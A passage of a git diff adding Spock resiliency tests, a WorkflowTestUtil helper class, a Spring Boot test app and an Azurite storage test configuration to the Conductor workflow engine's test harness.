unavailable" + workflowResource.resumeWorkflow(workflowInstanceId) + + then: "exception is thrown" + 1 * queueDAO.push(*_) >> { throw new TransientException("Queue push failed from Spy") } + thrown(TransientException.class) + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.PAUSED + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + } + + def "Verify reset callbacks fails when QueueDAO is unavailable"() { + when: "Start a simple workflow" + def workflowInstanceId = workflowResource.startWorkflow(new StartWorkflowRequest() + .withName(SIMPLE_TWO_TASK_WORKFLOW) + .withVersion(1)) + + then: "Verify workflow is started" + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "Task is updated with callBackAfterSeconds" + def workflow = workflowResource.getExecutionStatus(workflowInstanceId, true) + def task = workflow.getTasks().get(0) + def taskResult = new TaskResult(task) + taskResult.setCallbackAfterSeconds(120) + taskResource.updateTask(taskResult) + + and: "and then reset callbacks when QueueDAO is unavailable" + workflowResource.resetWorkflow(workflowInstanceId) + + then: "Verify an exception is thrown" + 1 * queueDAO.resetOffsetTime(*_) >> { throw new TransientException("Queue resetOffsetTime failed from Spy") } + thrown(TransientException.class) + } + + def "Verify search is not impacted by QueueDAO"() { + when: "We perform a search" + workflowResource.search(0, 1, "", "", "") + + then: "Verify it doesn't involve QueueDAO" + 0 * queueDAO._ + } + + def "Verify search workflows by tasks is not impacted by QueueDAO"() { + when: "We perform a search" + workflowResource.searchWorkflowsByTasks(0, 1, "", "", "") + + then: "Verify it doesn't involve QueueDAO" + 0 * queueDAO._ + } + + def "Verify get external storage location is not impacted by QueueDAO"() { + when: + workflowResource.getExternalStorageLocation("", ExternalPayloadStorage.Operation.READ as String, ExternalPayloadStorage.PayloadType.WORKFLOW_INPUT as String) + + then: "Verify it doesn't involve QueueDAO" + 0 * queueDAO._ + } + + + /// Task Resource endpoints + + def "Verify polls return with no result when QueueDAO is unavailable"() { + when: "Some task 'integration_task_1' is polled" + def responseEntity = taskResource.poll("integration_task_1", "test", "") + + then: + 1 * queueDAO.pop(*_) >> { throw new IllegalStateException("Queue pop failed from Spy") } + 0 * queueDAO._ + notThrown(Exception) + responseEntity && responseEntity.statusCode == HttpStatus.NO_CONTENT && !responseEntity.body + } + + def "Verify updateTask with COMPLETE status succeeds when QueueDAO is unavailable"() { + when: "Start a simple workflow" + def workflowInstanceId = workflowResource.startWorkflow(new StartWorkflowRequest() + .withName(SIMPLE_TWO_TASK_WORKFLOW) + .withVersion(1)) + + then: "Verify workflow is started" + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "The first task 'integration_task_1' is polled" + def responseEntity = taskResource.poll("integration_task_1", "test", null) + + then: "Verify task is returned successfully" + responseEntity && responseEntity.statusCode == HttpStatus.OK && responseEntity.body + responseEntity.body.status == Task.Status.IN_PROGRESS + responseEntity.body.taskType == 'integration_task_1' + + when: "the above task is updated, while QueueDAO is unavailable" + def taskResult = new TaskResult(responseEntity.body) + taskResult.setStatus(TaskResult.Status.COMPLETED) + def result = taskResource.updateTask(taskResult) + + then: "updateTask returns successfully without any exceptions" + 1 * queueDAO.remove(*_) >> { throw new IllegalStateException("Queue remove failed from Spy") } + result == responseEntity.body.taskId + notThrown(Exception) + } + + def "Verify updateTask with IN_PROGRESS state fails when QueueDAO is unavailable"() { + when: "Start a simple workflow" + def workflowInstanceId = workflowResource.startWorkflow(new StartWorkflowRequest() + .withName(SIMPLE_TWO_TASK_WORKFLOW) + .withVersion(1)) + + then: "Verify workflow is started" + with(workflowResource.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 1 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.SCHEDULED + } + + when: "The first task 'integration_task_1' is polled" + def responseEntity = taskResource.poll("integration_task_1", "test", null) + + then: "Verify task is returned successfully" + responseEntity && responseEntity.statusCode == HttpStatus.OK + responseEntity.body.status == Task.Status.IN_PROGRESS + responseEntity.body.taskType == 'integration_task_1' + + when: "the above task is updated, while QueueDAO is unavailable" + def taskResult = new TaskResult(responseEntity.body) + taskResult.setStatus(TaskResult.Status.IN_PROGRESS) + taskResult.setCallbackAfterSeconds(120) + def result = taskResource.updateTask(taskResult) + + then: "updateTask fails with an exception" + 1 * queueDAO.postpone(*_) >> { throw new IllegalStateException("Queue postpone failed from Spy") } + thrown(Exception) + } + + def "verify getTaskQueueSizes fails when QueueDAO is unavailable"() { + when: + taskResource.size(Arrays.asList("testTaskType", "testTaskType2")) + + then: + 1 * queueDAO.getSize(*_) >> { throw new IllegalStateException("Queue getSize failed from Spy") } + thrown(Exception) + } + + def "Verify getAllQueueDetails fails when QueueDAO is unavailable"() { + when: + taskResource.all() + + then: + 1 * queueDAO.queuesDetail() >> { throw new IllegalStateException("Queue queuesDetail failed from Spy") } + thrown(Exception) + } + + def "Verify getPollData doesn't involve QueueDAO"() { + when: + taskResource.getPollData("integration_test_1") + + then: + 0 * queueDAO.queuesDetail() + } + + def "Verify getAllPollData fails when QueueDAO is unavailable"() { + when: + taskResource.getAllPollData() + + then: + 1 * queueDAO.queuesDetail() >> { throw new IllegalStateException("Queue queuesDetail failed from Spy") } + thrown(Exception) + } + + def "Verify task search is not impacted by QueueDAO"() { + when: "We perform a search" + taskResource.search(0, 1, "", "", "") + + then: "Verify it doesn't involve QueueDAO" + 0 * queueDAO._ + } + + def "Verify task get external storage location is not impacted by QueueDAO"() { + when: + taskResource.getExternalStorageLocation("", ExternalPayloadStorage.Operation.READ as String, ExternalPayloadStorage.PayloadType.TASK_INPUT as String) + + then: "Verify it doesn't involve QueueDAO" + 0 * queueDAO._ + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/resiliency/TaskResiliencySpec.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/resiliency/TaskResiliencySpec.groovy new file mode 100644 index 0000000..320882c --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/resiliency/TaskResiliencySpec.groovy @@ -0,0 +1,105 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.resiliency + +import org.springframework.beans.factory.annotation.Autowired +import org.springframework.test.context.TestPropertySource + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.core.reconciliation.WorkflowRepairService +import com.netflix.conductor.test.base.AbstractResiliencySpecification + +import spock.lang.Ignore +import spock.lang.Shared + +import static com.netflix.conductor.test.util.WorkflowTestUtil.verifyPolledAndAcknowledgedTask +@TestPropertySource(properties = "conductor.app.workflow.name-validation.enabled=true") +@Ignore +//FIXME Interaction based testing won't work. Spy doesn't detect/intercept any calls because BaseRedisQueueDAO +// methods are final. +// No test in this class currently works. +class TaskResiliencySpec extends AbstractResiliencySpecification { + + @Shared + def SIMPLE_TWO_TASK_WORKFLOW = 'integration_test_wf' + + def setup() { + workflowTestUtil.taskDefinitions() + workflowTestUtil.registerWorkflows( + 'simple_workflow_1_integration_test.json' + ) + } + + def "Verify that a workflow recovers and completes on schedule task failure from queue push failure"() { + when: "Start a simple workflow" + def workflowInstanceId = startWorkflow(SIMPLE_TWO_TASK_WORKFLOW, 1, + '', [:], null) + + then: "Retrieve the workflow" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + workflow.status == Workflow.WorkflowStatus.RUNNING + workflow.tasks.size() == 1 + workflow.tasks[0].taskType == 'integration_task_1' + workflow.tasks[0].status == Task.Status.SCHEDULED + def taskId = workflow.tasks[0].taskId + + // Simulate queue push failure when creating a new task, after completing first task + when: "The first task 'integration_task_1' is polled and completed" + def task1Try1 = workflowTestUtil.pollAndCompleteTask('integration_task_1', 'task1.integration.worker') + + then: "Verify that the task was polled and acknowledged" + 1 * queueDAO.pop(_, 1, _) >> Collections.singletonList(taskId) + 1 * queueDAO.ack(*_) >> true + 1 * queueDAO.push(*_) >> { throw new IllegalStateException("Queue push failed from Spy") } + verifyPolledAndAcknowledgedTask(task1Try1) + + and: "Ensure that the next task is SCHEDULED even after failing to push taskId message to queue" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + } + + when: "The second task 'integration_task_2' is polled for" + def task1Try2 = workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker') + + then: "Verify that the task was not polled, and the taskId doesn't exist in the queue" + task1Try2[0] == null + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.RUNNING + tasks.size() == 2 + tasks[0].taskType == 'integration_task_1' + tasks[0].status == Task.Status.COMPLETED + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.SCHEDULED + def currentTaskId = tasks[1].getTaskId() + !queueDAO.containsMessage("integration_task_2", currentTaskId) + } + + when: "Running a repair and decide on the workflow" + sweep(workflowInstanceId) + workflowTestUtil.pollAndCompleteTask('integration_task_2', 'task2.integration.worker') + + then: "verify that the next scheduled task can be polled and executed successfully" + with(workflowExecutionService.getExecutionStatus(workflowInstanceId, true)) { + status == Workflow.WorkflowStatus.COMPLETED + tasks.size() == 2 + tasks[1].taskType == 'integration_task_2' + tasks[1].status == Task.Status.COMPLETED + } + } +} diff --git a/test-harness/src/test/groovy/com/netflix/conductor/test/util/WorkflowTestUtil.groovy b/test-harness/src/test/groovy/com/netflix/conductor/test/util/WorkflowTestUtil.groovy new file mode 100644 index 0000000..4b4d996 --- /dev/null +++ b/test-harness/src/test/groovy/com/netflix/conductor/test/util/WorkflowTestUtil.groovy @@ -0,0 +1,422 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.util + +import org.apache.commons.lang3.StringUtils +import org.springframework.beans.factory.annotation.Autowired +import org.springframework.stereotype.Component + +import com.netflix.conductor.common.metadata.tasks.Task +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.tasks.TaskResult +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.core.WorkflowContext +import com.netflix.conductor.core.exception.NotFoundException +import com.netflix.conductor.core.execution.WorkflowExecutor +import com.netflix.conductor.dao.QueueDAO +import com.netflix.conductor.model.WorkflowModel +import com.netflix.conductor.service.ExecutionService +import com.netflix.conductor.service.MetadataService + +import com.fasterxml.jackson.databind.ObjectMapper +import jakarta.annotation.PostConstruct + +import static java.util.concurrent.TimeUnit.SECONDS +import static org.awaitility.Awaitility.await + +/** + * This is a helper class used to initialize task definitions required by the tests when loaded up. + * The task definitions that are loaded up in {@link WorkflowTestUtil#taskDefinitions()} method as part of the post construct of the bean. + * This class is intended to be used in the Spock integration tests and provides helper methods to: + *

      + *
    • Terminate all the running Workflows
      • + *
    • Get the persisted task definition based on the taskName
      • + *
    • pollAndFailTask
      • + *
    • pollAndCompleteTask
      • + *
    • verifyPolledAndAcknowledgedTask
      • + *
    + * + * Usage: Autowire this class in any Spock based specification: + * + * {@literal @}Autowired + * WorkflowTestUtil workflowTestUtil + * + */ +@Component +class WorkflowTestUtil { + + private final MetadataService metadataService + private final ExecutionService workflowExecutionService + private final WorkflowExecutor workflowExecutor + private final QueueDAO queueDAO + private final ObjectMapper objectMapper + private static final int RETRY_COUNT = 1 + private static final String TEMP_FILE_PATH = "/input.json" + private static final String DEFAULT_EMAIL_ADDRESS = "test@harness.com" + + @Autowired + WorkflowTestUtil(MetadataService metadataService, ExecutionService workflowExecutionService, + WorkflowExecutor workflowExecutor, QueueDAO queueDAO, ObjectMapper objectMapper) { + this.metadataService = metadataService + this.workflowExecutionService = workflowExecutionService + this.workflowExecutor = workflowExecutor + this.queueDAO = queueDAO + this.objectMapper = objectMapper + } + + /** + * This function registers all the taskDefinitions required to enable spock based integration testing + */ + @PostConstruct + void taskDefinitions() { + WorkflowContext.set(new WorkflowContext("integration_app")) + + (0..20).collect { "integration_task_$it" } + .findAll { !getPersistedTaskDefinition(it).isPresent() } + .collect { new TaskDef(it, it, DEFAULT_EMAIL_ADDRESS, 1, 120, 120) } + .forEach { metadataService.registerTaskDef([it]) } + + (0..4).collect { "integration_task_0_RT_$it" } + .findAll { !getPersistedTaskDefinition(it).isPresent() } + .collect { new TaskDef(it, it, DEFAULT_EMAIL_ADDRESS, 0, 120, 120) } + .forEach { metadataService.registerTaskDef([it]) } + + metadataService.registerTaskDef([new TaskDef('short_time_out', 'short_time_out', DEFAULT_EMAIL_ADDRESS, 1, 5, 5)]) + + //This taskWithResponseTimeOut is required by the integration test which exercises the response time out scenarios + TaskDef taskWithResponseTimeOut = new TaskDef() + taskWithResponseTimeOut.name = "task_rt" + taskWithResponseTimeOut.timeoutSeconds = 120 + taskWithResponseTimeOut.retryCount = RETRY_COUNT + taskWithResponseTimeOut.retryDelaySeconds = 0 + taskWithResponseTimeOut.responseTimeoutSeconds = 10 + taskWithResponseTimeOut.ownerEmail = DEFAULT_EMAIL_ADDRESS + + TaskDef optionalTask = new TaskDef() + optionalTask.setName("task_optional") + optionalTask.setTimeoutSeconds(5) + optionalTask.setRetryCount(1) + optionalTask.setTimeoutPolicy(TaskDef.TimeoutPolicy.RETRY) + optionalTask.setRetryDelaySeconds(0) + optionalTask.setResponseTimeoutSeconds(5) + optionalTask.setOwnerEmail(DEFAULT_EMAIL_ADDRESS) + + TaskDef simpleSubWorkflowTask = new TaskDef() + simpleSubWorkflowTask.setName('simple_task_in_sub_wf') + simpleSubWorkflowTask.setRetryCount(0) + simpleSubWorkflowTask.setOwnerEmail(DEFAULT_EMAIL_ADDRESS) + + TaskDef subWorkflowTask = new TaskDef() + subWorkflowTask.setName('sub_workflow_task') + subWorkflowTask.setRetryCount(1) + subWorkflowTask.setResponseTimeoutSeconds(5) + subWorkflowTask.setRetryDelaySeconds(0) + subWorkflowTask.setOwnerEmail(DEFAULT_EMAIL_ADDRESS) + + TaskDef waitTimeOutTask = new TaskDef() + waitTimeOutTask.name = 'waitTimeout' + waitTimeOutTask.timeoutSeconds = 2 + waitTimeOutTask.responseTimeoutSeconds = 2 + waitTimeOutTask.retryCount = 1 + waitTimeOutTask.timeoutPolicy = TaskDef.TimeoutPolicy.RETRY + waitTimeOutTask.retryDelaySeconds = 10 + waitTimeOutTask.ownerEmail = DEFAULT_EMAIL_ADDRESS + + TaskDef userTask = new TaskDef() + userTask.setName("user_task") + userTask.setTimeoutSeconds(20) + userTask.setResponseTimeoutSeconds(20) + userTask.setRetryCount(1) + userTask.setTimeoutPolicy(TaskDef.TimeoutPolicy.RETRY) + userTask.setRetryDelaySeconds(10) + userTask.setOwnerEmail(DEFAULT_EMAIL_ADDRESS) + + TaskDef concurrentExecutionLimitedTask = new TaskDef() + concurrentExecutionLimitedTask.name = "test_task_with_concurrency_limit" + concurrentExecutionLimitedTask.concurrentExecLimit = 1 + concurrentExecutionLimitedTask.ownerEmail = DEFAULT_EMAIL_ADDRESS + + TaskDef rateLimitedTask = new TaskDef() + rateLimitedTask.name = 'test_task_with_rateLimits' + rateLimitedTask.rateLimitFrequencyInSeconds = 10 + rateLimitedTask.rateLimitPerFrequency = 1 + rateLimitedTask.ownerEmail = DEFAULT_EMAIL_ADDRESS + + TaskDef rateLimitedSimpleTask = new TaskDef() + rateLimitedSimpleTask.name = 'test_simple_task_with_rateLimits' + rateLimitedSimpleTask.rateLimitFrequencyInSeconds = 10 + rateLimitedSimpleTask.rateLimitPerFrequency = 1 + rateLimitedSimpleTask.ownerEmail = DEFAULT_EMAIL_ADDRESS + + TaskDef eventTaskX = new TaskDef() + eventTaskX.name = 'eventX' + eventTaskX.timeoutSeconds = 10 + eventTaskX.responseTimeoutSeconds = 10 + eventTaskX.ownerEmail = DEFAULT_EMAIL_ADDRESS + + metadataService.registerTaskDef( + [taskWithResponseTimeOut, optionalTask, simpleSubWorkflowTask, + subWorkflowTask, waitTimeOutTask, userTask, eventTaskX, + rateLimitedTask, rateLimitedSimpleTask, concurrentExecutionLimitedTask] + ) + } + + /** + * This is an helper method that enables each test feature to run from a clean state + * This method is intended to be used in the cleanup() or cleanupSpec() method of any spock specification. + * By invoking this method all the running workflows are terminated. + * @throws Exception When unable to terminate any running workflow + */ + void clearWorkflows() throws Exception { + List workflowsWithVersion = metadataService.getWorkflowDefs() + .collect { workflowDef -> workflowDef.getName() + ":" + workflowDef.getVersion() } + for (String workflowWithVersion : workflowsWithVersion) { + String workflowName = StringUtils.substringBefore(workflowWithVersion, ":") + int version = Integer.parseInt(StringUtils.substringAfter(workflowWithVersion, ":")) + List running = workflowExecutionService.getRunningWorkflows(workflowName, version) + for (String workflowId : running) { + try { + WorkflowModel workflow = workflowExecutor.getWorkflow(workflowId, false) + if (!workflow.getStatus().isTerminal()) { + workflowExecutor.terminateWorkflow(workflowId, "cleanup") + } + } catch (Exception e) { + // payload may be missing from external storage; force-terminate to unblock cleanup + try { workflowExecutor.terminateWorkflow(workflowId, "cleanup") } catch (Exception ignored) {} + } + } + } + + queueDAO.queuesDetail().keySet() + .forEach { queueDAO.flush(it) } + + new FileOutputStream(this.getClass().getResource(TEMP_FILE_PATH).getPath()).close() + } + + /** + * A helper method to retrieve a task definition that is persisted + * @param taskDefName The name of the task for which the task definition is requested + * @return an Optional of the TaskDefinition + */ + Optional getPersistedTaskDefinition(String taskDefName) { + try { + return Optional.of(metadataService.getTaskDef(taskDefName)) + } catch(NotFoundException nfe) { + return Optional.empty() + } + } + + /** + * A helper methods that registers workflows based on the paths of the json file representing a workflow definition + * @param workflowJsonPaths a comma separated var ags of the paths of the workflow definitions + */ + void registerWorkflows(String... workflowJsonPaths) { + workflowJsonPaths.collect { readFile(it) } + .forEach { metadataService.updateWorkflowDef(it) } + } + + WorkflowDef readFile(String path) { + InputStream inputStream = getClass().getClassLoader().getResourceAsStream(path) + return objectMapper.readValue(inputStream, WorkflowDef.class) + } + + /** + * A helper method intended to be used in the when: block of the spock test feature + * This method is intended to be used to poll and update the task status as failed + * It also provides a delay to return if needed after the task has been updated to failed + * @param taskName name of the task that needs to be polled and failed + * @param workerId name of the worker id using which a task is polled + * @param failureReason the reason to fail the task that will added to the task update + * @param outputParams An optional output parameters if available will be added to the task before updating to failed + * @param waitAtEndSeconds an optional delay before the method returns, if the value is 0 skips the delay + * @return A Tuple of taskResult and acknowledgement of the poll + */ + Tuple pollAndFailTask(String taskName, String workerId, String failureReason, Map outputParams = null, int waitAtEndSeconds = 0) { + Task polledIntegrationTask = null + for (int attempt = 0; attempt < 4 && polledIntegrationTask == null; attempt++) { + if (attempt > 0) { + Thread.sleep(200) + } + polledIntegrationTask = workflowExecutionService.poll(taskName, workerId) + } + if (polledIntegrationTask == null) { + return new Tuple(null, null) + } + def taskResult = new TaskResult(polledIntegrationTask) + taskResult.status = TaskResult.Status.FAILED + taskResult.reasonForIncompletion = failureReason + if (outputParams) { + outputParams.forEach { k, v -> + taskResult.outputData[k] = v + } + } + workflowExecutionService.updateTask(taskResult) + return waitAtEndSecondsAndReturn(waitAtEndSeconds, polledIntegrationTask) + } + + /** + * A helper method to introduce delay and convert the polledIntegrationTask and ackPolledIntegrationTask + * into a tuple. This method is intended to be used by pollAndFailTask and pollAndCompleteTask + * @param waitAtEndSeconds The total seconds of delay before the method returns + * @param ackedTaskResult the task result created after ack + * @return A Tuple of polledTask and acknowledgement of the poll + */ + static Tuple waitAtEndSecondsAndReturn(int waitAtEndSeconds, Task polledIntegrationTask) { + if (waitAtEndSeconds > 0) { + Thread.sleep(waitAtEndSeconds * 1000) + } + return new Tuple(polledIntegrationTask) + } + + /** + * A helper method intended to be used in the when: block of the spock test feature + * This method is intended to be used to poll and update the task status as completed + * It also provides a delay to return if needed after the task has been updated to completed + * @param taskName name of the task that needs to be polled and completed + * @param workerId name of the worker id using which a task is polled + * @param outputParams An optional output parameters if available will be added to the task before updating to completed + * @param waitAtEndSeconds waitAtEndSeconds an optional delay before the method returns, if the value is 0 skips the delay + * @return A Tuple of polledTask and acknowledgement of the poll + */ + Tuple pollAndCompleteTask(String taskName, String workerId, Map outputParams = null, int waitAtEndSeconds = 0) { + Task polledIntegrationTask = null + for (int attempt = 0; attempt < 4 && polledIntegrationTask == null; attempt++) { + if (attempt > 0) { + Thread.sleep(200) + } + polledIntegrationTask = workflowExecutionService.poll(taskName, workerId) + } + if (polledIntegrationTask == null) { + return new Tuple(null, null) + } + def taskResult = new TaskResult(polledIntegrationTask) + taskResult.status = TaskResult.Status.COMPLETED + if (outputParams) { + outputParams.forEach { k, v -> + taskResult.outputData[k] = v + } + } + workflowExecutionService.updateTask(taskResult) + return waitAtEndSecondsAndReturn(waitAtEndSeconds, polledIntegrationTask) + } + + Tuple pollAndCompleteLargePayloadTask(String taskName, String workerId, String outputPayloadPath) { + Task polledIntegrationTask = null + for (int attempt = 0; attempt < 4 && polledIntegrationTask == null; attempt++) { + if (attempt > 0) { + Thread.sleep(200) + } + polledIntegrationTask = workflowExecutionService.poll(taskName, workerId) + } + if (polledIntegrationTask == null) { + return new Tuple(null) + } + def taskResult = new TaskResult(polledIntegrationTask) + taskResult.status = TaskResult.Status.COMPLETED + taskResult.outputData = null + taskResult.externalOutputPayloadStoragePath = outputPayloadPath + workflowExecutionService.updateTask(taskResult) + return new Tuple(polledIntegrationTask) + } + + Tuple pollAndUpdateTask(String taskName, String workerId, String outputPayloadPath, Map outputParams = null, int waitAtEndSeconds = 0) { + Task polledIntegrationTask = null + for (int attempt = 0; attempt < 4 && polledIntegrationTask == null; attempt++) { + if (attempt > 0) { + Thread.sleep(200) + } + polledIntegrationTask = workflowExecutionService.poll(taskName, workerId) + } + if (polledIntegrationTask == null) { + return waitAtEndSecondsAndReturn(waitAtEndSeconds, null) + } + def taskResult = new TaskResult(polledIntegrationTask) + taskResult.status = TaskResult.Status.IN_PROGRESS + taskResult.callbackAfterSeconds = 1 + if (outputPayloadPath) { + taskResult.outputData = null + taskResult.externalOutputPayloadStoragePath = outputPayloadPath + } else if (outputParams) { + outputParams.forEach { k, v -> + taskResult.outputData[k] = v + } + } + workflowExecutionService.updateTask(taskResult) + return waitAtEndSecondsAndReturn(waitAtEndSeconds, polledIntegrationTask) + } + + /** + * A helper method intended to be used in the then: block of the spock test feature, ideally intended to be called after either: + * pollAndCompleteTask function or pollAndFailTask function + * @param completedTaskAndAck A Tuple of polledTask and acknowledgement of the poll + * @param expectedTaskInputParams a map of input params that are verified against the polledTask that is part of the completedTaskAndAck tuple + */ + static void verifyPolledAndAcknowledgedTask(Tuple completedTaskAndAck, Map expectedTaskInputParams = null) { + assert completedTaskAndAck[0]: "The task polled cannot be null" + def polledIntegrationTask = completedTaskAndAck[0] as Task + assert polledIntegrationTask + if (expectedTaskInputParams) { + expectedTaskInputParams.forEach { + k, v -> + assert polledIntegrationTask.inputData.containsKey(k) + assert polledIntegrationTask.inputData[k] == v + } + } + } + + static void verifyPolledAndAcknowledgedLargePayloadTask(Tuple completedTaskAndAck) { + assert completedTaskAndAck[0]: "The task polled cannot be null" + def polledIntegrationTask = completedTaskAndAck[0] as Task + assert polledIntegrationTask + } + + static void verifyPayload(Map expected, Map payload) { + expected.forEach { + k, v -> + assert payload.containsKey(k) + assert payload[k] == v + } + } + + static def awaitIgnoreUnfulfilled(Closure closure) { + try { + await().atMost(2, SECONDS).until(closure) + } catch (Exception ignored) { + System.out.println("Condition was not fulfilled within 2 seconds but continue execution") + } + } + + Tuple completeTask(String taskId, String workerId, Map outputParams = null, int waitAtEndSeconds = 0) { + def polledIntegrationTask = workflowExecutionService.getTask(taskId) + if (polledIntegrationTask == null) { + return new Tuple(null, null) + } + def taskResult = new TaskResult(polledIntegrationTask) + taskResult.status = TaskResult.Status.COMPLETED + if (outputParams) { + outputParams.forEach { k, v -> + taskResult.outputData[k] = v + } + } + + def wf0 = workflowExecutionService.getExecutionStatus(polledIntegrationTask.workflowInstanceId, true) + workflowExecutionService.updateTask(taskResult) + + awaitIgnoreUnfulfilled { + def wf1 = workflowExecutionService.getExecutionStatus(polledIntegrationTask.workflowInstanceId, true) + workflowStatusHasChanged(wf0, wf1) || nextTaskHasBeenScheduled(wf1, polledIntegrationTask.taskId) + } + + return waitAtEndSecondsAndReturn(waitAtEndSeconds, polledIntegrationTask) + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/ConductorTestApp.java b/test-harness/src/test/java/com/netflix/conductor/ConductorTestApp.java new file mode 100644 index 0000000..31835ff --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/ConductorTestApp.java @@ -0,0 +1,41 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor; + +import java.io.IOException; + +import org.conductoross.conductor.RestConfiguration; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.FilterType; + +/** Copy of com.netflix.conductor.Conductor for use by @SpringBootTest in AbstractSpecification. */ + +// Prevents from the datasource beans to be loaded, AS they are needed only for specific databases. +// In case that SQL database is selected this class will be imported back in the appropriate +// database persistence module. +@SpringBootApplication(exclude = DataSourceAutoConfiguration.class) +@ComponentScan( + basePackages = {"com.netflix.conductor", "io.orkes.conductor", "org.conductoross"}, + excludeFilters = + @ComponentScan.Filter( + type = FilterType.ASSIGNABLE_TYPE, + classes = {RestConfiguration.class})) +public class ConductorTestApp { + + public static void main(String[] args) throws IOException { + SpringApplication.run(ConductorTestApp.class, args); + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/config/AzuriteFileStorageConfiguration.java b/test-harness/src/test/java/com/netflix/conductor/test/config/AzuriteFileStorageConfiguration.java new file mode 100644 index 0000000..14318b4 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/config/AzuriteFileStorageConfiguration.java @@ -0,0 +1,60 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.config; + +import org.conductoross.conductor.azureblob.config.AzureBlobFileStorageProperties; +import org.conductoross.conductor.azureblob.storage.AzureBlobFileStorage; +import org.conductoross.conductor.core.storage.FileStorage; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Primary; + +import com.netflix.conductor.core.utils.IDGenerator; + +import com.azure.storage.blob.BlobServiceClient; +import com.azure.storage.blob.BlobServiceClientBuilder; + +/** + * Replaces the production file-storage Azure Blob beans with an Azurite-pointed {@link + * FileStorage}. The spec sets {@link AzureBlobFileStorageProperties#getConnectionString()} via + * {@code @TestPropertySource} with the container-aware connection string. + */ +@TestConfiguration +@ConditionalOnProperty(name = "conductor.file-storage.type", havingValue = "azure-blob") +public class AzuriteFileStorageConfiguration { + + private static String connectionString; + + public static void setConnectionString(String cs) { + connectionString = cs; + } + + @Bean + @Primary + public FileStorage azuriteFileStorage( + IDGenerator idGenerator, AzureBlobFileStorageProperties properties) { + if (connectionString != null) { + properties.setConnectionString(connectionString); + } + BlobServiceClient client = + new BlobServiceClientBuilder() + .connectionString(properties.getConnectionString()) + .buildClient(); + var containerClient = client.getBlobContainerClient(properties.getContainerName()); + if (!containerClient.exists()) { + containerClient.create(); + } + return new AzureBlobFileStorage(idGenerator, containerClient); + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/config/FakeGcsFileStorageConfiguration.java b/test-harness/src/test/java/com/netflix/conductor/test/config/FakeGcsFileStorageConfiguration.java new file mode 100644 index 0000000..47463c7 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/config/FakeGcsFileStorageConfiguration.java @@ -0,0 +1,150 @@ +/* 